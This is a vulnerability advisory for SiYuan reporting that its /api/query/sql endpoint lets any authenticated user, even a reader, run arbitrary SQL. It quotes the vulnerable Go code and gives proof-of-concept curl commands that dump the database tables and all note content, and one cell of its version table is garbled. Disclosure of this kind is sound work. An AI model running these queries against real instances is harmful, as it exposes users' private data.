| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | ≤ 0.0.0-20260113130602-4ba64580c29call versions | |
| siyuan | ≤ 3.5.9 |
/api/query/sql allows users to run SQL directly, but it only checks basic auth, not admin rights, any logged-in user, even readers, can run any SQL query on the database.
The vulnerable endpoint is in kernel/api/sql.go
func SQL(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
stmt := arg["stmt"].(string)
result, err := sql.Query(stmt, model.Conf.Search.Limit) // ... runs arbitrary sql with no restrictions
}
The route in kernel/api/router.go only uses CheckAuth middleware
e.g (similar)
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, SQL)
Start SiYuan with the publish service turned on
# List out all tables in the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT name, type FROM sqlite_master WHERE type='"'"'table'"'"'"}'
# Extract all user content from the database
curl -s -u reader_user:reader_pass \
-X POST "http://127.0.0.1:6808/api/query/sql" \
-H "Content-Type: application/json" \
-d '{"stmt": "SELECT id, content FROM blocks"}'
this is an auth bypass, the sql feature is for power users but even readers can use it
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free